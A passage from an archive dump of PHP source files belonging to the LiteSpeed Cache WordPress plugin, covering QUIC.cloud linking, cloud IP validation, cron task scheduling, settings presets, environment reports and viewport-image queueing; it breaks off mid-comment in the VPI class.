$this->_get_ref_url(), ]; wp_safe_redirect( $this->_cloud_server_dash . '/' . self::SVC_U_LINK . '?data=' . rawurlencode( Utility::arr2str( $param ) ) ); exit; } /** * Show QC Account CDN status * * @since 7.0 */ public function cdn_status_cli() { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = []; $res = $this->post( self::SVC_D_STATUS_CDN_CLI, $data ); return $res; } /** * Link to QC Account for CLI * * @since 7.0 * * @param string $email Account email. * @param string $key API key. */ public function link_qc_cli( $email, $key ) { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'qc_acct_email' => $email, 'qc_acct_apikey'=> $key, ]; $res = $this->post( self::SVC_D_LINK, $data ); return $res; } /** * API link parsed call to QC * * @since 7.0 * * @param string $action2 Action slug. */ public function api_link_call( $action2 ) { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'action2' => $action2, ]; $res = $this->post( self::SVC_D_API, $data ); self::debug( 'API link call result: ', $res ); } /** * Enable QC CDN * * @since 7.0 */ public function enable_cdn() { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'wp_ts' => time(), ]; $data['wp_signature_b64'] = $this->_sign_b64( $data['wp_ts'] ); // Activation redirect $param = [ 'site_url' => site_url(), 'ver' => Core::VER, 'data' => $data, 'ref' => $this->_get_ref_url(), ]; wp_safe_redirect( $this->_cloud_server_dash . '/' . self::SVC_U_ENABLE_CDN . '?data=' . rawurlencode( Utility::arr2str( $param ) ) ); exit; } /** * Reset QC setup * * @since 7.0 */ public function reset_qc() { unset( $this->_summary['pk_b64'] ); unset( $this->_summary['sk_b64'] ); unset( $this->_summary['qc_activated'] ); if ( ! empty( $this->_summary['partner'] ) ) { unset( $this->_summary['partner'] ); } $this->save_summary(); self::debug( 'Clear local QC activation.' ); $this->clear_cloud(); Admin_Display::success( sprintf( __( 'Reset %s activation successfully.', 'litespeed-cache' ), 'QUIC.cloud' ) ); wp_safe_redirect( $this->_get_ref_url() ); exit; } /** * Check if activated QUIC.cloud service or not * * @since 7.0 * @access public */ public function activated() { return ! empty( $this->_summary['sk_b64'] ) && ! empty( $this->_summary['qc_activated'] ); } /** * Show my.qc quick link to the domain page * * @return string */ public function qc_link() { $data = [ 'site_url' => site_url(), 'ver' => LSCWP_V, 'ref' => $this->_get_ref_url(), ]; return $this->_cloud_server_dash . '/u/wp3/manage?data=' . rawurlencode( Utility::arr2str( $data ) ); // . (!empty($this->_summary['is_linked']) ? '?wplogin=1' : ''); } } ������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cloud-auth-ip.trait.php�������������������������������������������������0000644�����������������00000010521�15233526476�0016355 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud auth IP validation trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Auth_IP * * Handles QUIC.cloud IP validation and ping operations. */ trait Cloud_Auth_IP { /** * Request callback validation from Cloud * * @since 3.0 * @access public */ public function ip_validate() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $hash = ! empty( $_POST['hash'] ) ? sanitize_text_field( wp_unslash( $_POST['hash'] ) ) : ''; if ( !$hash ) { return self::err( 'lack_of_params' ); } if ( md5( substr( $this->_summary['pk_b64'], 0, 4 ) ) !== $hash ) { self::debug( '__callback IP request decryption failed' ); return self::err( 'err_hash' ); } Control::set_nocache( 'Cloud IP hash validation' ); $resp_hash = md5( substr( $this->_summary['pk_b64'], 2, 4 ) ); self::debug( '__callback IP request hash: ' . $resp_hash ); return self::ok( [ 'hash' => $resp_hash ] ); } /** * Check if this visit is from cloud or not * * @since 3.0 */ public function is_from_cloud() { $check_point = time() - 86400 * self::TTL_IPS; if ( empty( $this->_summary['ips'] ) || empty( $this->_summary['ips_ts'] ) || $this->_summary['ips_ts'] < $check_point ) { self::debug( 'Force updating ip as ips_ts is older than ' . self::TTL_IPS . ' days' ); $this->_update_ips(); } $res = $this->cls( 'Router' )->ip_access( $this->_summary['ips'] ); if ( ! $res ) { self::debug( '❌ Not our cloud IP' ); // Auto check ip list again but need an interval limit safety. if ( empty( $this->_summary['ips_ts_runner'] ) || time() - (int) $this->_summary['ips_ts_runner'] > 600 ) { self::debug( 'Force updating ip as ips_ts_runner is older than 10mins' ); // Refresh IP list for future detection $this->_update_ips(); $res = $this->cls( 'Router' )->ip_access( $this->_summary['ips'] ); if ( ! $res ) { self::debug( '❌ 2nd time: Not our cloud IP' ); } else { self::debug( '✅ Passed Cloud IP verification' ); } return $res; } } else { self::debug( '✅ Passed Cloud IP verification' ); } return $res; } /** * Update Cloud IP list * * @since 4.2 * * @throws \Exception When fetching whitelist fails. */ private function _update_ips() { self::debug( 'Load remote Cloud IP list from ' . $this->_cloud_ips ); // Prevent multiple call in a short period self::save_summary([ 'ips_ts' => time(), 'ips_ts_runner' => time(), ]); $response = wp_safe_remote_get( $this->_cloud_ips . '?json' ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to get ip whitelist: ' . $error_message ); throw new \Exception( 'Failed to fetch QUIC.cloud whitelist ' . esc_html($error_message) ); } $json = \json_decode( $response['body'], true ); self::debug( 'Load ips', $json ); self::save_summary( [ 'ips' => $json ] ); } /** * Return pong for ping to check PHP function availability * * @since 6.5 * * @return array */ public function ping() { $resp = [ 'v_lscwp' => Core::VER, 'v_lscwp_db' => $this->conf( self::_VER ), 'v_php' => PHP_VERSION, 'v_wp' => $GLOBALS['wp_version'], 'home_url' => home_url(), 'site_url' => site_url(), ]; // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['funcs'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( wp_unslash($_POST['funcs']) as $v ) { $resp[ $v ] = function_exists( $v ) ? 'y' : 'n'; } } // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['classes'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( wp_unslash($_POST['classes']) as $v ) { $resp[ $v ] = class_exists( $v ) ? 'y' : 'n'; } } // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['consts'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized foreach ( wp_unslash($_POST['consts']) as $v ) { $resp[ $v ] = defined( $v ) ? 'y' : 'n'; } } return self::ok( $resp ); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/task.cls.php������������������������������������������������������������0000644�����������������00000016063�15233526476�0014311 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The cron task class. * * @since 1.1.3 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Schedules and runs LiteSpeed Cache background tasks. */ class Task extends Root { /** * Tag for debug logs. * * @var string */ const LOG_TAG = '⏰'; /** * Map of option id => cron hook registration. * * @var array<string,array{name:string,hook:callable|string}> */ private static $_triggers = [ Base::O_IMG_OPTM_CRON => [ 'name' => 'litespeed_task_imgoptm_pull', 'hook' => 'LiteSpeed\Img_Optm::start_async_cron', ], // always fetch immediately Base::O_OPTM_CSS_ASYNC => [ 'name' => 'litespeed_task_ccss', 'hook' => 'LiteSpeed\CSS::cron_ccss', ], Base::O_OPTM_UCSS => [ 'name' => 'litespeed_task_ucss', 'hook' => 'LiteSpeed\UCSS::cron', ], Base::O_MEDIA_VPI_CRON => [ 'name' => 'litespeed_task_vpi', 'hook' => 'LiteSpeed\VPI::cron', ], Base::O_MEDIA_PLACEHOLDER_RESP_ASYNC => [ 'name' => 'litespeed_task_lqip', 'hook' => 'LiteSpeed\Placeholder::cron', ], Base::O_DISCUSS_AVATAR_CRON => [ 'name' => 'litespeed_task_avatar', 'hook' => 'LiteSpeed\Avatar::cron', ], Base::O_IMG_OPTM_AUTO => [ 'name' => 'litespeed_task_imgoptm_req', 'hook' => 'LiteSpeed\Img_Optm::cron_auto_request', ], Base::O_GUEST => [ 'name' => 'litespeed_task_guest_sync', 'hook' => 'LiteSpeed\Guest::cron', ], // Daily sync Guest Mode IP/UA lists Base::O_CRAWLER => [ 'name' => 'litespeed_task_crawler', 'hook' => 'LiteSpeed\Crawler::start_async_cron', ], // Set crawler to last one to use above results ]; /** * Options allowed to run for guest optimization. * * @var array<int,string> */ private static $_guest_options = [ Base::O_OPTM_CSS_ASYNC, Base::O_OPTM_UCSS, Base::O_MEDIA_VPI ]; /** * Schedule id for crawler. * * @var string */ const FILTER_CRAWLER = 'litespeed_crawl_filter'; /** * Schedule id for general tasks. * * @var string */ const FILTER = 'litespeed_filter'; /** * Keep all tasks in cron. * * @since 3.0 * @access public * @return void */ public function init() { self::debug2( 'Init' ); add_filter( 'cron_schedules', [ $this, 'lscache_cron_filter' ] ); $guest_optm = $this->conf( Base::O_GUEST ) && $this->conf( Base::O_GUEST_OPTM ); foreach ( self::$_triggers as $id => $trigger ) { if ( Base::O_IMG_OPTM_CRON === $id ) { if ( ! Img_Optm::need_pull() ) { continue; } } elseif ( ! $this->conf( $id ) ) { if ( ! $guest_optm || ! in_array( $id, self::$_guest_options, true ) ) { continue; } } // Special check for crawler. if ( Base::O_CRAWLER === $id ) { if ( ! Router::can_crawl() ) { continue; } add_filter( 'cron_schedules', [ $this, 'lscache_cron_filter_crawler' ] ); // phpcs:ignore WordPress.WP.CronInterval.ChangeDetected } if ( ! wp_next_scheduled( $trigger['name'] ) ) { self::debug( 'Cron hook register [name] ' . $trigger['name'] ); // Determine schedule: crawler uses its own, guest uses daily, others use 15min if ( Base::O_CRAWLER === $id ) { $schedule = self::FILTER_CRAWLER; } elseif ( Base::O_GUEST === $id ) { $schedule = 'daily'; } else { $schedule = self::FILTER; } wp_schedule_event( time(), $schedule, $trigger['name'] ); } add_action( $trigger['name'], $trigger['hook'] ); } } /** * Handle all async noabort requests. * * @since 5.5 * @return void */ public static function async_litespeed_handler() { $hash_data = self::get_option( 'async_call-hash', [] ); if ( ! $hash_data || ! is_array( $hash_data ) || empty( $hash_data['hash'] ) || empty( $hash_data['ts'] ) ) { self::debug( 'async_litespeed_handler no hash data', $hash_data ); return; } $nonce = isset( $_GET['nonce'] ) ? sanitize_text_field( wp_unslash( $_GET['nonce'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( 120 < time() - (int) $hash_data['ts'] || '' === $nonce || $nonce !== $hash_data['hash'] ) { self::debug( 'async_litespeed_handler nonce mismatch' ); return; } self::delete_option( 'async_call-hash' ); $type = Router::verify_type(); self::debug( 'type=' . $type ); // Don't lock up other requests while processing. session_write_close(); switch ( $type ) { case 'crawler': Crawler::async_handler(); break; case 'crawler_force': Crawler::async_handler( true ); break; case 'imgoptm': Img_Optm::async_handler(); break; case 'imgoptm_force': Img_Optm::async_handler( true ); break; default: break; } } /** * Async caller wrapper func. * * @since 5.5 * * @param string $type Async operation type. * @return void */ public static function async_call( $type ) { $hash = Str::rrand( 32 ); self::update_option( 'async_call-hash', [ 'hash' => $hash, 'ts' => time(), ] ); $args = [ 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, // 'cookies' => $_COOKIE, ]; $qs = [ 'action' => 'async_litespeed', 'nonce' => $hash, Router::TYPE => $type, ]; $url = add_query_arg( $qs, admin_url( 'admin-ajax.php' ) ); self::debug( 'async call to ' . $url ); wp_safe_remote_post( esc_url_raw( $url ), $args ); } /** * Clean all potential existing crons. * * @since 3.0 * @access public * @return void */ public static function destroy() { Utility::compatibility(); array_map( 'wp_clear_scheduled_hook', array_column( self::$_triggers, 'name' ) ); } /** * Try to clean the crons if disabled. * * @since 3.0 * @access public * * @param string $id Option id of cron trigger. * @return void */ public function try_clean( $id ) { if ( $id && ! empty( self::$_triggers[ $id ] ) ) { if ( ! $this->conf( $id ) || ( Base::O_CRAWLER === $id && ! Router::can_crawl() ) ) { self::debug( 'Cron clear [id] ' . $id . ' [hook] ' . self::$_triggers[ $id ]['name'] ); wp_clear_scheduled_hook( self::$_triggers[ $id ]['name'] ); } return; } self::debug( '❌ Unknown cron [id] ' . $id ); } /** * Register cron interval for general tasks. * * @since 1.6.1 * @access public * * @param array $schedules Existing schedules. * @return array */ public function lscache_cron_filter( $schedules ) { if ( ! array_key_exists( self::FILTER, $schedules ) ) { $schedules[ self::FILTER ] = [ 'interval' => 900, 'display' => __( 'Every 15 Minutes', 'litespeed-cache' ), ]; } return $schedules; } /** * Register cron interval for crawler. * * @since 1.1.0 * @access public * * @param array $schedules Existing schedules. * @return array */ public function lscache_cron_filter_crawler( $schedules ) { $crawler_run_interval = defined( 'LITESPEED_CRAWLER_RUN_INTERVAL' ) ? (int) constant( 'LITESPEED_CRAWLER_RUN_INTERVAL' ) : 600; if ( ! array_key_exists( self::FILTER_CRAWLER, $schedules ) ) { $schedules[ self::FILTER_CRAWLER ] = [ 'interval' => $crawler_run_interval, 'display' => __( 'LiteSpeed Crawler Cron', 'litespeed-cache' ), ]; } return $schedules; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/import.preset.cls.php���������������������������������������������������0000644�����������������00000013001�15233526476�0016147 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The preset class. * * @since 5.3.0 */ namespace LiteSpeed; defined('WPINC') || exit(); class Preset extends Import { protected $_summary; const MAX_BACKUPS = 10; const TYPE_APPLY = 'apply'; const TYPE_RESTORE = 'restore'; const STANDARD_DIR = LSCWP_DIR . 'data/preset'; const BACKUP_DIR = LITESPEED_STATIC_DIR . '/auto-backup'; /** * Returns sorted backup names * * @since 5.3.0 * @access public */ public static function get_backups() { self::init_filesystem(); global $wp_filesystem; $backups = array_map( function ( $path ) { return self::basename($path['name']); }, $wp_filesystem->dirlist(self::BACKUP_DIR) ?: array() ); rsort($backups); return $backups; } /** * Removes extra backup files * * @since 5.3.0 * @access public */ public static function prune_backups() { $backups = self::get_backups(); global $wp_filesystem; foreach (array_slice($backups, self::MAX_BACKUPS) as $backup) { $path = self::get_backup($backup); $wp_filesystem->delete($path); Debug2::debug('[Preset] Deleted old backup from ' . $backup); } } /** * Returns a settings file's extensionless basename given its filesystem path * * @since 5.3.0 * @access public */ public static function basename( $path ) { return basename($path, '.data'); } /** * Returns a standard preset's path given its extensionless basename * * @since 5.3.0 * @access public */ public static function get_standard( $name ) { return path_join(self::STANDARD_DIR, $name . '.data'); } /** * Returns a backup's path given its extensionless basename * * @since 5.3.0 * @access public */ public static function get_backup( $name ) { return path_join(self::BACKUP_DIR, $name . '.data'); } /** * Initializes the global $wp_filesystem object and clears stat cache * * @since 5.3.0 */ static function init_filesystem() { require_once ABSPATH . '/wp-admin/includes/file.php'; \WP_Filesystem(); clearstatcache(); } /** * Init * * @since 5.3.0 */ public function __construct() { Debug2::debug('[Preset] Init'); $this->_summary = self::get_summary(); } /** * Applies a standard preset's settings given its extensionless basename * * @since 5.3.0 * @access public */ public function apply( $preset ) { $this->make_backup($preset); $path = self::get_standard($preset); $result = $this->import_file($path) ? $preset : 'error'; $this->log($result); } /** * Restores settings from the backup file with the given timestamp, then deletes the file * * @since 5.3.0 * @access public */ public function restore( $timestamp ) { $backups = array(); foreach (self::get_backups() as $backup) { if (preg_match('/^backup-' . $timestamp . '(-|$)/', $backup) === 1) { $backups[] = $backup; } } if (empty($backups)) { $this->log('error'); return; } $backup = $backups[0]; $path = self::get_backup($backup); if (!$this->import_file($path)) { $this->log('error'); return; } self::init_filesystem(); global $wp_filesystem; $wp_filesystem->delete($path); Debug2::debug('[Preset] Deleted most recent backup from ' . $backup); $this->log('backup'); } /** * Saves current settings as a backup file, then prunes extra backup files * * @since 5.3.0 * @access public */ public function make_backup( $preset ) { $backup = 'backup-' . time() . '-before-' . $preset; $data = $this->export(true); $path = self::get_backup($backup); File::save($path, $data, true); Debug2::debug('[Preset] Backup saved to ' . $backup); self::prune_backups(); } /** * Tries to import from a given settings file * * @since 5.3.0 */ function import_file( $path ) { $debug = function ( $result, $name ) { $action = $result ? 'Applied' : 'Failed to apply'; Debug2::debug('[Preset] ' . $action . ' settings from ' . $name); return $result; }; $name = self::basename($path); $contents = file_get_contents($path); if (false === $contents) { Debug2::debug('[Preset] ❌ Failed to get file contents'); return $debug(false, $name); } $parsed = array(); try { // Check if the data is v4+ if (strpos($contents, '["_version",') === 0) { $contents = explode("\n", $contents); foreach ($contents as $line) { $line = trim($line); if (empty($line)) { continue; } list($key, $value) = \json_decode($line, true); $parsed[$key] = $value; } } else { $parsed = \json_decode(base64_decode($contents), true); } } catch (\Exception $ex) { Debug2::debug('[Preset] ❌ Failed to parse serialized data'); return $debug(false, $name); } if (empty($parsed)) { Debug2::debug('[Preset] ❌ Nothing to apply'); return $debug(false, $name); } $this->cls('Conf')->update_confs($parsed); return $debug(true, $name); } /** * Updates the log * * @since 5.3.0 */ function log( $preset ) { $this->_summary['preset'] = $preset; $this->_summary['preset_timestamp'] = time(); self::save_summary(); } /** * Handles all request actions from main cls * * @since 5.3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_APPLY: $this->apply(!empty($_GET['preset']) ? $_GET['preset'] : false); break; case self::TYPE_RESTORE: $this->restore(!empty($_GET['timestamp']) ? $_GET['timestamp'] : false); break; default: break; } Admin::redirect(); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/report.cls.php����������������������������������������������������������0000644�����������������00000014172�15233526476�0014661 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * The report class * * @since 1.1.0 * @package LiteSpeed */ namespace LiteSpeed; defined('WPINC') || exit(); class Report extends Base { const TYPE_SEND_REPORT = 'send_report'; /** * Handle all request actions from main cls * * @since 1.6.5 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_SEND_REPORT: $this->post_env(); break; default: break; } Admin::redirect(); } /** * post env report number to ls center server * * @since 1.6.5 * @access public */ public function post_env() { $report_con = $this->generate_environment_report(); // Generate link $link = !empty($_POST['link']) ? esc_url($_POST['link']) : ''; $notes = !empty($_POST['notes']) ? esc_html($_POST['notes']) : ''; $php_info = !empty($_POST['attach_php']) ? esc_html($_POST['attach_php']) : ''; $report_php = $php_info === '1' ? $this->generate_php_report() : ''; if ($report_php) { $report_con .= "\nPHPINFO\n" . $report_php; } $data = array( 'env' => $report_con, 'link' => $link, 'notes' => $notes, ); $json = Cloud::post(Cloud::API_REPORT, $data); if (!is_array($json)) { return; } $num = !empty($json['num']) ? $json['num'] : '--'; $summary = array( 'num' => $num, 'dateline' => time(), ); self::save_summary($summary); return $num; } /** * Gathers the PHP information. * * @since 7.0 * @access public */ public function generate_php_report( $flags = INFO_GENERAL | INFO_CONFIGURATION | INFO_MODULES ) { // INFO_ENVIRONMENT $report = ''; ob_start(); phpinfo($flags); $report = ob_get_contents(); ob_end_clean(); preg_match('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', $report, $report); return $report[2]; } /** * Gathers the environment details and creates the report. * Will write to the environment report file. * * @since 1.0.12 * @access public */ public function generate_environment_report( $options = null ) { global $wp_version, $_SERVER; $frontend_htaccess = Htaccess::get_frontend_htaccess(); $backend_htaccess = Htaccess::get_backend_htaccess(); $paths = array( $frontend_htaccess ); if ($frontend_htaccess != $backend_htaccess) { $paths[] = $backend_htaccess; } if (is_multisite()) { $active_plugins = get_site_option('active_sitewide_plugins'); if (!empty($active_plugins)) { $active_plugins = array_keys($active_plugins); } } else { $active_plugins = get_option('active_plugins'); } if (function_exists('wp_get_theme')) { $theme_obj = wp_get_theme(); $active_theme = $theme_obj->get('Name'); } else { $active_theme = get_current_theme(); } $extras = array( 'wordpress version' => $wp_version, 'siteurl' => get_option('siteurl'), 'home' => get_option('home'), 'home_url' => home_url(), 'locale' => get_locale(), 'active theme' => $active_theme, ); $extras['active plugins'] = $active_plugins; $extras['cloud'] = Cloud::get_summary(); foreach (array( 'mini_html', 'pk_b64', 'sk_b64', 'cdn_dash', 'ips' ) as $v) { if (!empty($extras['cloud'][$v])) { unset($extras['cloud'][$v]); } } if (is_null($options)) { $options = $this->get_options(true); if (is_multisite()) { $options2 = $this->get_options(); foreach ($options2 as $k => $v) { if (isset($options[$k]) && $options[$k] !== $v) { $options['[Overwritten] ' . $k] = $v; } } } } if (!is_null($options) && is_multisite()) { $blogs = Activation::get_network_ids(); if (!empty($blogs)) { $i = 0; foreach ($blogs as $blog_id) { if (++$i > 3) { // Only log 3 subsites break; } $opts = $this->cls('Conf')->load_options($blog_id, true); if (isset($opts[self::O_CACHE])) { $options['blog ' . $blog_id . ' radio select'] = $opts[self::O_CACHE]; } } } } // Security: Remove cf key in report $secure_fields = array( self::O_CDN_CLOUDFLARE_KEY, self::O_OBJECT_PSWD ); foreach ($secure_fields as $v) { if (!empty($options[$v])) { $options[$v] = str_repeat('*', strlen($options[$v])); } } $report = $this->build_environment_report($_SERVER, $options, $extras, $paths); return $report; } /** * Builds the environment report buffer with the given parameters * * @access private */ private function build_environment_report( $server, $options, $extras = array(), $htaccess_paths = array() ) { $server_keys = array( 'DOCUMENT_ROOT' => '', 'SERVER_SOFTWARE' => '', 'X-LSCACHE' => '', 'HTTP_X_LSCACHE' => '', ); $server_vars = array_intersect_key($server, $server_keys); $server_vars[] = 'LSWCP_TAG_PREFIX = ' . LSWCP_TAG_PREFIX; $server_vars = array_merge($server_vars, $this->cls('Base')->server_vars()); $buf = $this->_format_report_section('Server Variables', $server_vars); $buf .= $this->_format_report_section('WordPress Specific Extras', $extras); $buf .= $this->_format_report_section('LSCache Plugin Options', $options); if (empty($htaccess_paths)) { return $buf; } foreach ($htaccess_paths as $path) { if (!file_exists($path) || !is_readable($path)) { $buf .= $path . " does not exist or is not readable.\n"; continue; } $content = file_get_contents($path); if ($content === false) { $buf .= $path . " returned false for file_get_contents.\n"; continue; } $buf .= $path . " contents:\n" . $content . "\n\n"; } return $buf; } /** * Creates a part of the environment report based on a section header and an array for the section parameters. * * @since 1.0.12 * @access private */ private function _format_report_section( $section_header, $section ) { $tab = ' '; // four spaces if (empty($section)) { return 'No matching ' . $section_header . "\n\n"; } $buf = $section_header; foreach ($section as $k => $v) { $buf .= "\n" . $tab; if (!is_numeric($k)) { $buf .= $k . ' = '; } if (!is_string($v)) { $v = var_export($v, true); } else { $v = esc_html($v); } $buf .= $v; } return $buf . "\n\n"; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/vpi.cls.php�������������������������������������������������������������0000644�����������������00000022600�15233526476�0014137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The viewport image (VPI) class. * * Handles discovering above-the-fold images for posts/pages and stores the * viewport image list per post (desktop & mobile). Coordinates with the * remote service via queue + cron + webhook notify. * * @since 4.7 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Generate and manage ViewPort Images (VPI) for pages. */ class VPI extends Base { /** * Log tag for debug output. * * @var string */ const LOG_TAG = '[VPI]'; /** * Action types. * * @var string */ const TYPE_GEN = 'gen'; const TYPE_CLEAR_Q = 'clear_q'; /** * VPI Desktop Meta name. * * @since 7.6 * @var string */ const POST_META = 'litespeed_vpi_list'; /** * VPI Mobile Meta name. * * @since 7.6 * @var string */ const POST_META_MOBILE = 'litespeed_vpi_list_mobile'; /** * Summary values persisted between requests (timings, last runs, etc). * * @var array */ protected $_summary; /** * In-memory working queue for VPI jobs. * * @var array */ private $_queue; /** * Init. * * @since 4.7 */ public function __construct() { $this->_summary = self::get_summary(); } /** * Queue the current page for VPI generation. * * @since 4.7 * @return void */ public function add_to_queue() { $is_mobile = $this->_separate_mobile(); global $wp; $request_url = home_url( $wp->request ); if ( ! apply_filters( 'litespeed_vpi_should_queue', true, $request_url ) ) { return; } // Sanitize user agent coming from the server superglobal. $ua = ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; // Store it to prepare for cron. $this->_queue = $this->load_queue( 'vpi' ); if ( count( $this->_queue ) > 500 ) { self::debug( 'Queue is full - 500' ); return; } $home_id = (int) get_option( 'page_for_posts' ); if ( ! is_singular() && ! ( $home_id > 0 && is_home() ) ) { self::debug( 'not single post ID' ); return; } $post_id = is_home() ? $home_id : get_the_ID(); $queue_k = ( $is_mobile ? 'mobile' : '' ) . ' ' . $request_url; if ( ! empty( $this->_queue[ $queue_k ] ) ) { self::debug( 'queue k existed ' . $queue_k ); return; } $this->_queue[ $queue_k ] = [ 'url' => apply_filters( 'litespeed_vpi_url', $request_url ), 'post_id' => $post_id, 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $is_mobile, ]; // Current UA will be used to request. $this->save_queue( 'vpi', $this->_queue ); self::debug( 'Added queue_vpi [url] ' . $queue_k . ' [UA] ' . $ua ); // Prepare cache tag for later purge. Tag::add( 'VPI.' . md5( $queue_k ) ); } /** * Handle finish notifications from remote service. * * Expects JSON body; falls back to $_POST for legacy callers. * * @since 4.7 * @return array Response object for the cloud layer. */ public function notify() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = $_POST; } self::debug( 'notify() data', $post_data ); $this->_queue = $this->load_queue( 'vpi' ); list( $post_data ) = $this->cls( 'Cloud' )->extract_msg( $post_data, 'vpi' ); $notified_data = $post_data['data']; if ( empty( $notified_data ) || ! is_array( $notified_data ) ) { self::debug( '❌ notify exit: no notified data' ); return Cloud::err( 'no notified data' ); } // Check if it's in queue or not. $valid_i = 0; foreach ( $notified_data as $v ) { if ( empty( $v['request_url'] ) ) { self::debug( '❌ notify bypass: no request_url', $v ); continue; } if ( empty( $v['queue_k'] ) ) { self::debug( '❌ notify bypass: no queue_k', $v ); continue; } $queue_k = $v['queue_k']; if ( empty( $this->_queue[ $queue_k ] ) ) { self::debug( '❌ notify bypass: no this queue [q_k]' . $queue_k ); continue; } // Save data. if ( ! empty( $v['data_vpi'] ) ) { $post_id = (int) $this->_queue[ $queue_k ]['post_id']; $name = ! empty( $v['is_mobile'] ) ? self::POST_META_MOBILE : self::POST_META; $urldecode = is_array( $v['data_vpi'] ) ? array_map( 'urldecode', $v['data_vpi'] ) : urldecode( $v['data_vpi'] ); self::debug( 'save data_vpi', $urldecode ); $this->cls( 'Metabox' )->save( $post_id, $name, $urldecode ); ++$valid_i; } unset( $this->_queue[ $queue_k ] ); self::debug( 'notify data handled, unset queue [q_k] ' . $queue_k ); } $this->save_queue( 'vpi', $this->_queue ); self::debug( 'notified' ); return Cloud::ok( [ 'count' => $valid_i ] ); } /** * Cron entry point. * * @since 4.7 * * @param bool $do_continue Continue processing multiple queue items within one cron tick. * @return mixed Result of the handler. */ public static function cron( $do_continue = false ) { $_instance = self::cls(); return $_instance->_cron_handler( $do_continue ); } /** * Cron queue processor. * * @since 4.7 * * @param bool $do_continue Continue processing multiple queue items within one cron tick. * @return void */ private function _cron_handler( $do_continue = false ) { self::debug( 'cron start' ); $this->_queue = $this->load_queue( 'vpi' ); if ( empty( $this->_queue ) ) { return; } // For cron, need to check request interval too. if ( ! $do_continue ) { if ( ! empty( $this->_summary['curr_request_vpi'] ) && time() - (int) $this->_summary['curr_request_vpi'] < 300 && ! $this->conf( self::O_DEBUG ) ) { self::debug( 'Last request not done' ); return; } } $i = 0; foreach ( $this->_queue as $k => $v ) { if ( ! empty( $v['_status'] ) ) { continue; } self::debug( 'cron job [tag] ' . $k . ' [url] ' . $v['url'] . ( $v['is_mobile'] ? ' 📱 ' : '' ) . ' [UA] ' . $v['user_agent'] ); ++$i; $res = $this->_send_req( $v['url'], $k, $v['user_agent'], $v['is_mobile'] ); if ( ! $res ) { // Status is wrong, drop this item from queue. $this->_queue = $this->load_queue( 'vpi' ); unset( $this->_queue[ $k ] ); $this->save_queue( 'vpi', $this->_queue ); if ( ! $do_continue ) { return; } GUI::print_loading( count( $this->_queue ), 'VPI' ); Router::self_redirect( Router::ACTION_VPI, self::TYPE_GEN ); return; } // Exit queue if out of quota or service is hot. if ( 'out_of_quota' === $res || 'svc_hot' === $res ) { return; } $this->_queue = $this->load_queue( 'vpi' ); $this->_queue[ $k ]['_status'] = 'requested'; $this->save_queue( 'vpi', $this->_queue ); self::debug( 'Saved to queue [k] ' . $k ); // only request first one if not continuing. if ( ! $do_continue ) { return; } GUI::print_loading( count( $this->_queue ), 'VPI' ); Router::self_redirect( Router::ACTION_VPI, self::TYPE_GEN ); return; } } /** * Send request to QUIC.cloud API to generate VPI. * * @since 4.7 * @access private * * @param string $request_url The URL to 